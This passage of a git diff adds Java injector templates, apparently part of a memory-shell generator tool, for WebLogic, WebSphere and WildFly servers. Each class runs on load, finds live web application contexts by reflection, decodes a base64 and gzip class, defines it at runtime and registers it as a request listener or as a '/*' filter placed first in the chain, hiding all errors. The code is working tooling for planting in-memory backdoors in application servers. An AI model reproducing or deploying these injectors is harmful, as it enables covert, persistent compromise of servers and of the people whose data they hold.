InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/WebLogicListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/WebLogicListenerInjectorTpl.java new file mode 100644 index 0000000..86be120 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/WebLogicListenerInjectorTpl.java @@ -0,0 +1,274 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.*; +import java.util.zip.GZIPInputStream; + + +public class WebLogicListenerInjectorTpl { + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new WebLogicListenerInjectorTpl(); + } + + public WebLogicListenerInjectorTpl() { + try { + Object[] contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + registerListener(context, listener); + } + } catch (Exception ignored) { + + } + + } + + public static Object[] getContextsByMbean() throws Throwable { + HashSet webappContexts = new HashSet(); + Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime"); + Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); + Method theOneMethod = serverRuntimeClass.getMethod("theOne"); + theOneMethod.setAccessible(true); + Object serverRuntime = theOneMethod.invoke(null); + + Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); + getApplicationRuntimesMethod.setAccessible(true); + Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); + int applicationRuntimeSize = Array.getLength(applicationRuntimes); + for (int i = 0; i < applicationRuntimeSize; i++) { + Object applicationRuntime = Array.get(applicationRuntimes, i); + + try { + Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes"); + Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime); + int componentRuntimeSize = Array.getLength(componentRuntimes); + for (int j = 0; j < componentRuntimeSize; j++) { + Object context = getFV(Array.get(componentRuntimes, j), "context"); + if (webAppServletContextClass.isInstance(context)) { + webappContexts.add(context); + } + } + } catch (Throwable e) { + + } + + try { + Set childrenSet = (Set) getFV(applicationRuntime, "children"); + Iterator iterator = childrenSet.iterator(); + + while (iterator.hasNext()) { + Object componentRuntime = iterator.next(); + try { + Object context = getFV(componentRuntime, "context"); + if (webAppServletContextClass.isInstance(context)) { + webappContexts.add(context); + } + } catch (Throwable e) { + + } + } + + } catch (Throwable e) { + + } + } + return webappContexts.toArray(); + } + + public static Object[] getContextsByThreads() throws Throwable { + HashSet webappContexts = new HashSet(); + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + int threadCount = threadGroup.activeCount(); + Thread[] threads = new Thread[threadCount]; + threadGroup.enumerate(threads); + for (int i = 0; i < threadCount; i++) { + Thread thread = threads[i]; + if (thread != null) { + Object workEntry = getFV(thread, "workEntry"); + if (workEntry != null) { + try { + Object context = null; + Object connectionHandler = getFV(workEntry, "connectionHandler"); + if (connectionHandler != null) { + Object request = getFV(connectionHandler, "request"); + if (request != null) { + context = getFV(request, "context"); + } + } + if (context == null) { + context = getFV(workEntry, "context"); + } + + if (context != null) { + webappContexts.add(context); + } + } catch (Throwable e) { + + } + } + } + } + return webappContexts.toArray(); + } + + public static Object[] getContext() { + HashSet webappContexts = new HashSet(); + try { + webappContexts.addAll(Arrays.asList(getContextsByMbean())); + } catch (Throwable e) { + + } + try { + webappContexts.addAll(Arrays.asList(getContextsByThreads())); + } catch (Throwable e) { + + } + return webappContexts.toArray(); + } + + private Object getListener(Object context) { + + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return listener; + } + + public void registerListener(Object context, Object listener) throws Exception { + String listenerClassName = listener.getClass().getName(); + if (!isInjected(context, listenerClassName)) { + try { + Object eventsManager = getFV(context, "eventsManager"); + invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{listenerClassName}); + } catch (Exception e) { + } + } + } + + public static boolean isInjected(Object context, String listenerClassName) throws Exception { + ArrayList requestListeners = (ArrayList) getFV(getFV(context, "eventsManager"), "requestListeners"); + for (int i = 0; i < requestListeners.size(); i++) { + if (requestListeners.get(i).getClass().getName().contains(listenerClassName)) return true; + } + return false; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/WebSphereFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/WebSphereFilterInjectorTpl.java new file mode 100755 index 0000000..7d778ee --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/WebSphereFilterInjectorTpl.java @@ -0,0 +1,272 @@ +package jmg.core.template; + +import javax.servlet.Filter; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + + +/** + * tested v7、v8 + * update 2023/07/08 + */ +public class WebSphereFilterInjectorTpl { + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new WebSphereFilterInjectorTpl(); + } + + + public WebSphereFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + } + + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Object context; + Object obj = getFV(Thread.currentThread(), "wsThreadLocals"); + Object[] wsThreadLocals = (Object[]) obj; + for (Object wsThreadLocal : wsThreadLocals) { + obj = wsThreadLocal; + // for websphere 7.x + if (obj != null && obj.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFV(obj, "stack"); + for (Object stack : stackList) { + try { + Object config = getFV(stack, "config"); + context = getFV(getFV(config, "context"), "context"); + contexts.add(context); + } catch (Exception ignored) { + } + } + } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { + context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); + contexts.add(context); + } + } + return contexts; + } + + + public void addFilter(Object context, Object filter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + String filterName = getFilterName(getClassName()); + try { + if (!isAdded(context, filterName)) { + Class filterMappingClass; + Class iFilterConfigClass; + Class iServletConfigClass; + ClassLoader classLoader; + try { + classLoader = context.getClass().getClassLoader(); + filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping"); + iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig"); + iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig"); + } catch (Exception e) { + classLoader = Thread.currentThread().getContextClassLoader(); + filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping"); + iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig"); + iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig"); + } + + Object filterManager = getFV(context, "filterManager"); + try { + // v8 + Constructor constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass); + // com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter + setFV(context, "initialized", false); + Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{filterName, getClassName(), filter, filter.getClass()}); + Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null); + setFV(context, "initialized", true); + + // com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping + invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping}); + + // com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter + invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName}); + + } catch (Exception e) { + // v7 + Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()}); + setFV(filterConfig, "dispatchMode", new int[]{0}); + setFV(filterConfig, "name", filterName); + invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig}); + ArrayList _uriFilterMappings = (ArrayList) getFV(filterManager, "_uriFilterMappings"); + int lastIndex = _uriFilterMappings.size() - 1; + Object lastElement = _uriFilterMappings.remove(lastIndex); + _uriFilterMappings.add(0, lastElement); + invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName}); + + } + // 清除缓存 + invokeMethod(getFV(filterManager, "chainCache"), "clear"); + } + } catch (Exception ex) { + } + } + + public String getFilterName(String className) { + if (className.contains(".")) { + int lastDotIndex = className.lastIndexOf("."); + return className.substring(lastDotIndex + 1); + } else { + return className; + } + } + + public boolean isAdded(Object context, String filterName) throws Exception { + Object webAppConfiguration = getFV(context, "config"); + List filerMappings = (List) invokeMethod(webAppConfiguration, "getFilterMappings"); + for (int i = 0; i < filerMappings.size(); i++) { + Object config = invokeMethod(filerMappings.get(i), "getFilterConfig"); + String name = (String) invokeMethod(config, "getFilterName"); + if (name.equals(filterName)) { + return true; + } + } + return false; + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + public Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class filterClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = filterClass.newInstance(); + } catch (Throwable ignored) { + } + } + return filter; + } + + public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + private static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj.getClass(), fieldName); + field.setAccessible(true); + return field.get(obj); + } + + private static void setFV(Object obj, String fieldName, Object fieldValue) throws Exception { + getF(obj.getClass(), fieldName).set(obj, fieldValue); + } + + private static Field getF(Class clazz, String fieldName) throws NoSuchFieldException { + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/WebSphereListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/WebSphereListenerInjectorTpl.java new file mode 100644 index 0000000..4c178e2 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/WebSphereListenerInjectorTpl.java @@ -0,0 +1,140 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + +public class WebSphereListenerInjectorTpl { + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new WebSphereListenerInjectorTpl(); + } + + + public WebSphereListenerInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception ignored) { + + } + + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Object context; + Object obj = getFV(Thread.currentThread(), "wsThreadLocals"); + Object[] wsThreadLocals = (Object[]) obj; + for (Object wsThreadLocal : wsThreadLocals) { + obj = wsThreadLocal; + // for websphere 7.x + if (obj != null && obj.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFV(obj, "stack"); + for (Object stack : stackList) { + try { + Object config = getFV(stack, "config"); + context = getFV(getFV(config, "context"), "context"); + contexts.add(context); + } catch (Exception ignored) { + } + } + } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { + context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); + contexts.add(context); + } + } + return contexts; + } + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class listenerClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = listenerClass.newInstance(); + } catch (Throwable ignored) { + } + } + return listener; + } + + public void addListener(Object context, Object listener) throws Exception { + List listeners = (List) getFV(context, "servletRequestListeners"); + // 判断是否已经存在 + if (!listeners.contains(listener)) listeners.add(listener); + } + + public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + private static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj.getClass(), fieldName); + field.setAccessible(true); + return field.get(obj); + } + + private static Field getF(Class clazz, String fieldName) throws NoSuchFieldException { + try { + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + }catch (Exception ignored){ + } + return null; + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/WildFlyFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/WildFlyFilterInjectorTpl.java new file mode 100644 index 0000000..33e357f --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/WildFlyFilterInjectorTpl.java @@ -0,0 +1,207 @@ +package jmg.core.template; + +import javax.servlet.DispatcherType; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + + +public class WildFlyFilterInjectorTpl { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new WildFlyFilterInjectorTpl(); + } + + + public WildFlyFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + for (int i = 0; i < threads.length; i++) { + try { + Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); + if (servletContext != null) contexts.add(servletContext); + } catch (Exception ignored) { + } + } + return contexts; + } + + + private Object getFilter(Object context) { + + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return filter; + } + + public void addFilter(Object context, Object filter) { + try { + if (isInjected(context, getClassName())) { + return; + } + Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); + Object deploymentInfo = getFV(context, "deploymentInfo"); + Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass()); + invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); + Object deploymentImpl = getFV(context, "deployment"); + Object managedFilters = invokeMethod(deploymentImpl, "getFilters"); + invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); + invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST}); + } catch (Throwable e) { + } + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + Map filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters"); + for (Map.Entry filter : filters.entrySet()) { + Class filterClass = (Class) getFV(filter.getValue(), "filterClass"); + if (filterClass.getName().equals(evilClassName)) { + return true; + } + } + return false; + } + + public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/WildFlyListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/WildFlyListenerInjectorTpl.java new file mode 100644 index 0000000..6ac5721 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/WildFlyListenerInjectorTpl.java @@ -0,0 +1,197 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + + +public class WildFlyListenerInjectorTpl { + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new WildFlyListenerInjectorTpl(); + } + + public WildFlyListenerInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + injectListener(context, listener); + } + } catch (Exception ignored) { + } + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + for (int i = 0; i < threads.length; i++) { + try { + Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); + if (servletContext != null) contexts.add(servletContext); + } catch (Exception ignored) { + } + } + return contexts; + } + + + private Object getListener(Object context) { + + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return listener; + } + + // 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener + // 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener + public void injectListener(Object context, Object listener) { + try { + if (isInjected(context, listener.getClass().getName())) { + return; + } + Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo"); + Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass()); + Object deploymentImpl = getFV(context, "deployment"); + Object applicationListeners = getFV(deploymentImpl, "applicationListeners"); + Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener"); + Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true); + invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener}); + } catch (Throwable e) { + } + } + + public boolean isInjected(Object context, String className) throws Exception { + List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners"); + for (int i = 0; i < allListeners.size(); i++) { + Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass"); + if (listener.getName().contains(className)) { + return true; + } + } + return false; + } + + + public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, 